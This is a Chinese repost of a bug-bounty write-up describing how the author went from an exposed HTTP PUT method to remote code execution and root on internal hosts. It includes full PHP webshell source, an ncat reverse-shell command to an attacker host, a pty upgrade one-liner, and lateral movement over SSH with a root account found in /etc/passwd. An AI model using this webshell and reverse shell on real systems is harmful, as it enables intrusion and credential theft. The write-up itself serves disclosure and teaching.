1. 程式人生 > >我是如何通過命令執行到最終獲取內網Root許可權的

我是如何通過命令執行到最終獲取內網Root許可權的

簡介

此前我曾發表過一篇ltr101的文章,這是我該系列的第二篇。本文我將為大家展示最近我在賞金計劃中,發現的一個非常cool的漏洞。以及我是如何通過一個廢棄的Web伺服器實現遠端執行程式碼的,並最終成功滲透目標內網獲取到有價值資訊的。

你的子域名叫什麼?

這一切都是從資訊偵察開始的查詢子域,解析為IP然後檢視埠。不過這一次,我發現了一個較為奇怪的主機名,並有一個應用程式正執行在64351埠上。這並不是我們平時常見的web埠,需要我們進行權全埠的掃描才能發現。該域名類似於以下(出於保密原因,其中省略了該公司資訊):

fast.force.staging.intcorp.yoda.domain
.com

對於這個域名我的腦海中蹦出了以下猜測:

  • 1)這是除admin,vpn,email等以外的唯一一個域
  • 2)故意提到intcorp引起我的興趣
  • 3)這不是子域的平均長度
  • 4) fast force staging intcorp yoda可能都是隨機產生的!

根據我的想法,我解析了該域名併成功獲取到了一個IP,但通過瀏覽器打開發現沒有返回任何資訊,我決定利用nmap來對它進行埠掃描:

nmap -sTV -p- -Pn --max-retries 3 fast.force.staging.intcorp.yoda.domain.com --version-all -oA UsethePowa

不一會兒掃描結果就出來瞭如下:

Starting Nmap 7.50 ( https://nmap.org ) at 2017-06-29 22:47 BST  
Nmap scan report for fast.force.staging.intcorp.yoda.domain.com (x.x.x.x)  
Host is up (0.082s latency).  
Not shown: 979 filtered ports  
PORT     STATE  SERVICE         VERSION  
22/tcp   closed ssh  
25/tcp   closed smtp?  
80/tcp   closed http  
81/tcp   closed hosts2-ns  
90/tcp    open http?  
64351/tcp open http  
2 services unrecognised despite returning data.

最初我在埠為64351的應用程式web根目錄中發現了一些奇怪的檔案,並且每個檔案都包含了不同名稱的phpinfo檔案。

想要將自定義的檔案上傳到該目錄,通常我們會利用檔案上傳等功能。但在這裡我沒有找到任何像遠端檔案上傳的地方,因此我只能老套的針對學校攻擊的HTTP方法。

HTTP 動詞/方法

無論是HTTP動詞/方法,本質上它們都是在向伺服器或應用程式發出請求。最常見的兩個用於下載和上傳資料到應用程式的請求方法是GET和POST。這裡我將向埠為64351的伺服器傳送一個OPTIONS請求,以獲取伺服器支援的HTTP請求方法。

從響應結果來看該應用程式接受GET,POST,HEAD以及PUT方法。前三個都很普通,但PUT請求相對較少。

PUT

我設法利用PUT方法將檔案寫入到webroot下名為test的資料夾中,這樣我就可以將編寫的任意檔案上傳至伺服器根目錄下,同時我猜測之前發現的phpinfo檔案應該也是利用PUT方法被上傳的。我快速瀏覽了我的webshell再次找到了phpinfo檔案:

我是如何通過命令執行到最終獲取內網root許可權的

所以通過PUT方法,我上傳了一個簡單的PHP webshell,其程式碼如下:

<?php  
if(isset($_REQUEST['cmd'])){  
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

這段程式碼首先從cmd引數接收輸入命令,然後以系統命令執行。PUT請求成功,並且我們也成功獲取到了一個shell如下所示:

我是如何通過命令執行到最終獲取內網root許可權的

為了獲取到更多的資訊,我嘗試將webshell轉換為netcat的反向shell。很幸運!這個伺服器似乎都具備了netcat ncat的訪問。

使用以下命令我連線到了伺服器偵聽端,這裡我花了很長時間來確定連線埠,最終確定為443,因為伺服器允許訪問該埠。

webshell命令:

ncat -e /bin/bash ATTACKERHOST 443

伺服器偵聽端命令:

ncat -l -v -p 443

我是如何通過命令執行到最終獲取內網root許可權的

接著通過python one-liner我獲得了一個互動式的bash shell:

python -c 'import pty; pty.spawn("/bin/bash")'

我是如何通過命令執行到最終獲取內網root許可權的

深入挖掘

既然已經獲取到了一個互動式的shell,接下來我決定圍繞作業系統進一步的探索。很快,我在/tmp/CorpNet目錄下發現了一個引起我注意的資料夾,該資料夾下包含了以下三個其它資料夾:

  • CorpVPNKeys
  • CorpZT
  • CitrixCorp

在這些資料夾中我挖掘到了一些非常有用的檔案,其中包括一個包含整個域的內部區域傳輸的檔案。

查詢其他主機

通過區域傳輸檔案中的資訊,我發現內部主機名與我已經發現的原始主機名類似,如下:

  • staging.intcorp.jawa.domain.com 10.0.1.1
  • staging.internal.sith.domain.com 10.0.1.3
  • internal.vader.domain.com 10.2.1.13

看起來這個網路的系統管理員是一個星球大戰的粉絲!有許多其他主機共享了星戰命名方案。因為主機可以訪問ncat和nmap,因此我決定在這個階段做一些埠掃描。我嘗試對10.0.1.0/24這個網段進行了掃描,以發現其它有趣的主機。

一個快速的nmap -F 10.0.1.0/24掃描,從最終返回的結果我發現了一些非常有趣的埠。其中包括一臺應該是windows機器開啟的遠端桌面連線埠:3389,445,135,137,1433,2433。對於一個內部網路,RDP和SMB的開放並不鮮見。

原本我想通過nmap指令碼來繼續探索更多的資訊,但是由於當前伺服器上的nmap版本並不支援nmap指令碼,因此出現了 :-( 錯誤。

到此階段我決定發郵件提醒該公司我發現的問題,並詢問我是否可以繼續挖掘,我收到了一個非常快速簡明的回覆:

“感謝您提醒我們,你能深入到什麼程度,我們確信我們的內部網路是安全的。”

既然都這麼說了,那麼我就接受挑戰!

接受挑戰

由於我並沒有獲取到任何使用者的雜湊值或密碼,因此接下來我將嘗試是否可以目錄遍歷。我使用cat命令查看了passwd檔案,其中的一個名為emperor的使用者以及他的UID引起了我的注意:

emperor:x:0:1002:SPalpatine:/home/emperor:/bin/bash

從星球大戰的主機名判斷,該使用者名稱似乎也是引用了星戰的名稱,且UID似乎為root使用者。

我是如何通過命令執行到最終獲取內網root許可權的

我是如何通過命令執行到最終獲取內網root許可權的

不敢相信我的運氣! 因為內部網路中還有其他幾臺主機,我猜想它們可能使用了相同的憑證登入,開啟SSH,嘗試使用emperor賬戶連線它們。

額外獎金

在經過登入憑證的嘗試,我成功連線到了internal.vader.domain.com主機, 並且emperor在這個主機上也是root許可權。

這使我能夠從這個主機上轉儲雜湊值並對其進行破解,另外我發現根私鑰被用作在原始主機發現的VPN證書的主金鑰。在這個階段,我再次向該公司寫了一份測試報告,其中包括了以下幾個問題:

  • 危險的HTTP方法導致遠端執行程式碼
  • 敏感檔案被儲存在檔案系統並且所有使用者可讀
  • root使用者密碼在/etc/passwd下直接曝露
  • /etc/shadow下的密碼加密採用的是弱雜湊演算法

小結

從單一的層面看,起初這只是一個目錄許可權和身份驗證的問題,但這使我成功上傳了webshell。雖然剛開始的許可權並不大,但通過進一步的深入挖掘和利用,我們逐漸將戰果擴大到了內網並最終獲取到了root許可權。可見一個小小的失誤,都將給公司企業帶來重大的安全問題。作為系統管理員應該避免將密碼設定與主機名或使用者相關,否則這將是非常危險的。目前該公司已經修復了該問題,並向我表達了感謝!

*參考來源:zsec,FB小編 secist 編譯,轉載來自FreeBuf.COM